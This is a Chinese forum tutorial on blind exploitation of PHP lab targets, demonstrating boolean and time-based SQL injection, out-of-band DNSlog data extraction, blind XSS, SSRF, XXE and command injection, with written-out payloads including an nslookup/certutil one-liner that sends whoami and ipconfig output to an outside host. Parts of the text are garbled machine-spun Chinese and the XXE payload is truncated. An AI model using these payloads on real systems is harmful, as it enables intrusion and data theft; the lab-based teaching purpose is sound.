KaliMa 发表于 2021-8-11 20:29:37

记一次PHP渗透测试实战教程

0x01前言

在排泄测试过程中,开发不大概每一次都将结果输出到页面上,也就是漏洞无回显的情况,那么在这种情况下,我们可以通过dnslog判断漏洞存在,或者通过起一个python的http服务来判断,方法许多,下面主要进行一些情况的分析。
0x02无回显概念

无回显,即执行的payload在站点没有输出,无法进行进一步利用。在排泄测试过程中,漏洞点不大概总是可以或许在返回页面进行输出,那么这时候就必要进行一些无回显使用了。
0x03不同漏洞的无回显

1、SQL注入无回显

SQL注入,作为OWASP常年占据榜首位置的漏洞,在无回显中也是常见的。当然SQL注入在无回显上已经具有了肯定的办理步伐。
无回显我将其定义为页面没有输出我们想要得到的内容,下面以sqli-labs为例进行讲解。
1.1 布尔盲注

布尔盲注,盲注的一种,当网站通过查询语句的布尔值返回真假来输出页面信息的时候,查询语句为真,页面输出内容;查询语句为假,页面不输出内容。那么这里就可以通过构造等号判断,获取相应的字符的ascii码,最后还原出数据。详细测试过程如下:
1、id传参1之后,页面返回有数据,这里明显不能进行显错注入了。
https://p26.toutiaoimg.com/large/pgc-image/a7ff430d5379440aa8e8c95119868e3b
2、在传参背面加个单引号,页面返回空,不显示错误信息,不能使用报错注入。
https://p6.toutiaoimg.com/large/pgc-image/0abe042115034ccf9655da58b61854f7
3、通过拼接and 1=1和and 1=2,发现页面对于布尔值的真与假返回的页面结果也不同。
https://p26.toutiaoimg.com/large/pgc-image/d04455e63ab74fc788a1650c43035e85
https://p3.toutiaoimg.com/large/pgc-image/9f169088f2174b968fab81eb0bf7a4d7
4、通过length()函数判断数据库库名的长度大于1。
?id=1’ and length(database())>1 %23
https://p9.toutiaoimg.com/large/pgc-image/e1a225bc02dc468f858bd5bcc515839e
5、在大于8的时候页面返回空,以是数据库库名长度即是8。
https://p6.toutiaoimg.com/large/pgc-image/5ce6cc2f1de544c18655a9583739efd9
6、通过ascii()函数和substr ()截取函数获取数据库库名的第一个字符的ascii码
?id=1’ and ascii(substr((select database()),1,1))>97 %23
?id=1’ and ascii(substr((select database()),1,1))=101 %23
起首用大于号判断出大概所处的值,最后使用即是号验证ascii码的值。此处得出数据库库名的第一个字符的ascii码值为115,对应字符为s。
https://p26.toutiaoimg.com/large/pgc-image/1fce5285013b4143b94aa867b235fd7f
7、更改截取的位置,判断背面的字符对应的ascii码值。
?id=1’ and ascii(substr((select database()),2,1))=101 %23
https://p3.toutiaoimg.com/large/pgc-image/7a1810cd5ba64683b31eb9b822056b4c
1.2 延时盲注

延时盲注,一种盲注的手法。在排泄测试过程中当我们不能使用显错注入、报错注入以及布尔盲注无论布尔值为真还是为假,页面都返回一样之后,我们可以尝试使用延时盲注,通过加载页面的时间长度来判断数据是否成功。在PHP中有一个if()函数,语法为if(exp1,exp2,exp3),当exp1返回为真时,执行exp2,返回为假时,执行exp3。配合延时函数sleep()来获取相应数据的ascii码,最后还原成数据。下面我将通过实例来介绍如今进行延时盲注。
1、起首获取的页面如下,背面岂论接上布尔值为真还是为假的,页面都返回一样,此时将不能使用布尔盲注。
https://p3.toutiaoimg.com/large/pgc-image/16301996a8d34c928f7e0815608a7849
https://p26.toutiaoimg.com/large/pgc-image/5adf7b02e5c8449fbcfe2b92a6e7c151
2、通过and拼接延时函数查看页面是否有延时回显。起首记录没有使用延时函数的页面返回时间,为4.*秒;使用sleep(5)延时5秒之后,页面响应时间为9.*秒,阐明对于我们输入的sleep()函数进行了延时处置惩罚,此处存在延时盲注。
https://p9.toutiaoimg.com/large/pgc-image/d6f176cd13c54b3f88d3f39a1d79890d
https://p9.toutiaoimg.com/large/pgc-image/59b0ece288444220b7d4e30bbaa6a233
3、通过延时注入判断数据库库名的长度。一个个测试发现当长度即是8时页面延时返回了,阐明数据库库名长度为8。
?id=2’ and if((length(database())=8),sleep(5),1) %23
https://p3.toutiaoimg.com/large/pgc-image/3f73bd6f69044c7c98d90a187a5317f9
4、与布尔盲注一样,将子查询的数据截断之后判断ascii码,相称时延时5秒。最后得到第一个字符的ascii码为115。
?id=2’ and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23
https://p3.toutiaoimg.com/large/pgc-image/0cff9d4150314c788bbe91e5b1ff40fc
5、背面替换截断的位置,测试背面的字符的ascii码值。最后得到对应的ascii码值为115 101 99 117 114 105 116 121。通过ascii解码工具解得数据库库名为security。
https://p26.toutiaoimg.com/large/pgc-image/afb175b373e0452483b553e658db6c53
巧用dnslog进行SQL注入

前面介绍了SQL注入中的盲注,通过布尔盲注或者延时盲注来获取数据必要的步骤非常繁琐,不仅必要一个一个字符的获取,最后还必要进行ascii解码,这必要花费大量的时间与精力。为了加快排泄进程,以及降低获取数据的难度,这里介绍怎样通过dnslog进行SQL注入。
Dnslog

dnslog,即dns日记,会解析访问dns服务的记录并显示出来,常被用来测试漏洞是否存在以及无法获取数据的时候进行外带数据。简单来说,dnslog就是一个服务器,会记录全部访问它的记录,包括访问的域名、访问的IP以及时间。那么我们就可以通过子查询,拼接dnslog的域名,最后通过dns日记得到必要的数据。
Load_file()函数

数据库中的load_file()函数,可以加载服务器中的内容。load_file(‘c:/1.txt’),读取文件并返回内容为字符串,使用load_file()函数获取数据必要有以下几个条件:
1.文件在服务器上
2.指定完整路径的文件
3.必须有FILE权限
UNC路径

UNC路径就是类似\softer这样的形式的网络路径。它符合 \服务器名\服务器资源的格式。在Windows系统中常用于共享文件。如\192.168.1.1\共享文件夹名。
Dnslog注入实例演示

1、打开实例站点,很明显这里是只能使用盲注的站点。
https://p26.toutiaoimg.com/large/pgc-image/1ec57591e9324ca190d58a4265e4c7fd
2、通过order by判断出字段数为3。
https://p9.toutiaoimg.com/large/pgc-image/602c6196dc2b4275ad3bc1f37f6f6ae1
https://p26.toutiaoimg.com/large/pgc-image/2e895259a83a4f8a981fedc9433677d6
3、在dnslog网站申请一个dnslog域名:pcijrt.dnslog.cn
https://p3.toutiaoimg.com/large/pgc-image/e1d84d6fdfb0467da51788d4e701eee4
4、通过load_file函数拼接查询数据库库名的子查询到dnslog的域名上,背面恣意接一个不存在的文件夹名。最后将这个查询放到联合查询中,构造的payload如下:
?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn/abc')) %23https://p3.toutiaoimg.com/large/pgc-image/1437029790394a758ffb544c2a5c0760
5、执行语句之后在dnslog日记中获取到数据库库名为security。
https://p3.toutiaoimg.com/large/pgc-image/39658f9cfe80436ba83df45153c0e3f0
6、修改子查询里的内容,获取其他数据。
https://p3.toutiaoimg.com/large/pgc-image/dcff2cf76048496caa1eb4b47f90237c
https://p26.toutiaoimg.com/large/pgc-image/583058c238da4e5e849457da0e44fe68
2、XSS无回显

XSS无回显比较特殊,一样平常XSS漏洞的判断标准为弹框,但是有这样一种情况,在一个表单提交处,内容提交之后只会在页面显示提交成功与否,不会输出提交的内容,那么我们也就无法通过弹框来判断XSS漏洞存在与否。这时候就必要通过XSS盲打来进行攻击。下面通过Pikachu漏洞练习平台来进行实例讲解:
2.1 XSS盲打

1、如图这里是一个提交看法的功能
https://p26.toutiaoimg.com/large/pgc-image/ae75769592dd4937a6a28e8139ede5ba
2、恣意输入内容提交,告诉我们提交成功,没有将我输入的内容返回到页面中
https://p26.toutiaoimg.com/large/pgc-image/7da7900e3183497d987f460b0d36cfb2
3、登录后台可以看到确实有数据回显
https://p9.toutiaoimg.com/large/pgc-image/504276ca5a9e4754894ab4c40db77aa3
4、输入弹框语句会在后台成功执行
https://p26.toutiaoimg.com/large/pgc-image/4474af23fcdd4f9dbd8a2bd23d42bcb3
5、在排泄测试过程中我们无法登录后台进行查看,那么就必要盲打XSS,输入XSS平台的payload,坐等管理员查看内容后上钩。
https://p26.toutiaoimg.com/large/pgc-image/e4348ef4dc2d4607a0e97fe7de81d3ad
2.2 通过dnslog判断漏洞存在

payload:http://xss.t7y3wc.dnslog.cnhttps://p3.toutiaoimg.com/large/pgc-image/e4be301c051140a2af22b79b9892067b
https://p3.toutiaoimg.com/large/pgc-image/a801147e223f4e0aae97e5f949c4e5fd
3、SSRF无回显

SSRF即服务端请求伪造,一种由攻击者构造的通过服务器发起请求的攻击。
测试代码如下:
起首通过访问百度可以验证漏洞存在
https://p26.toutiaoimg.com/large/pgc-image/29436bc3f2d34525b744b70b641d698e
无回显情况即不进行输出,页面返回空
https://p6.toutiaoimg.com/large/pgc-image/1b890fa7ac0241359655671e483e5677
https://p9.toutiaoimg.com/large/pgc-image/1373b0de2c524b0da46c71b872ba9f61
这种情况可以通过dnslog或者python搭建http服务验证
1、DNSLOG
http://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn
https://p9.toutiaoimg.com/large/pgc-image/fddc3ee7307440d1aa78e4aee847cb9a
2、python起的http服务
python3 -m http.server 4545https://p6.toutiaoimg.com/large/pgc-image/d8d96ed331b5471d936d39c608d62293
https://p6.toutiaoimg.com/large/pgc-image/e97c1d3939444978aaa35de726b663f3
4、XXE无回显

因为XML是用来存储传输数据的,除了确实是业务必要,否则开发不大概会输出内容,也就是说你确实读取到了文件内容,但是没办法看到。XXE无回显问题当然也是可以通过在域名前面放入查询出的内容,将数据通过dns日记记录下来。
XXE虽然不是通过DNSlog,但是也同样是外带数据。
流程如下:
在受害者网站中,我们通过请求攻击者VPS上的1.xml文件,文件内容为将某数据放在GET传参中去访问2.php。然后2.php中的内容为保存GET传参的数据,将数据放入到3.txt中。
详细文件内容放在下面,里面的IP地点应该为攻击者的IP地点,这3个文件也是放在攻击者VPS上。
1.xml
%all;2.php
3.txt
内容空payload:%remote;%send;]>5、命令执行无回显

简单的命令执行站点
https://p26.toutiaoimg.com/large/pgc-image/9497581f740f4fbd831292a103101c6f
输入任何命令都无回显
https://p3.toutiaoimg.com/large/pgc-image/9252fa564c77486ab6e36d3931bd3f77
5.1 Dnslog判断漏洞存在

https://p9.toutiaoimg.com/large/pgc-image/bc1405378d0a4801b6f61677a224fc8b
https://p6.toutiaoimg.com/large/pgc-image/b1dc0133c3fd4734bf391a13550b5430
5.2Dnslog外带数据

5.2.1 获取windows用户名

http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cnhttps://p3.toutiaoimg.com/large/pgc-image/bca0ca8ecef04a6a86cc58fd226ca063
5.2.2 其他命令执行

cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del tempcmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp通过POST传参测试
https://p3.toutiaoimg.com/large/pgc-image/73a999b3f6aa4f65afa89d6ffaa8ceaa
传参的内容必要进行url编码
https://p26.toutiaoimg.com/large/pgc-image/5695b079448f40f0bbeedc03cf47a1aa
Post传参
https://p9.toutiaoimg.com/large/pgc-image/b2561fc0c47a4725bb913687a4c8286e
Dnslog获取结果
https://p6.toutiaoimg.com/large/pgc-image/0405154b6c784bb980d18c180fd9bc40
Base64解码获取内容
https://p6.toutiaoimg.com/large/pgc-image/cfb7c5ebe74b4e6b868a204a7d804329
总结

在排泄测试过程中,无回显是很常见的,程序不大概将一些利用都回显到页面中,那么这种时候我们就必要外带数据来获取想要的内容。当然最好就是可以或许反弹shell,通过获取shell来执行命令,这样会惬意许多。
无回显的情况另有许多许多,这里简单介绍了几种,希望读者朋友们可以或许从中学到对于无回显的情况下怎样进行排泄测试,方法许多,不固定,学习思绪即可。

akkks88 发表于 2021-8-11 23:24:49

学习了

独钓寒江雪之IT 发表于 2021-8-12 11:57:46

转发了

安全界的泥石流 发表于 2021-8-11 22:41:38

转发了

yu921 发表于 2021-8-11 22:40:46

转发了

富马0220 发表于 2021-8-11 21:04:00

转发了
页: [1]
查看完整版本: 记一次PHP渗透测试实战教程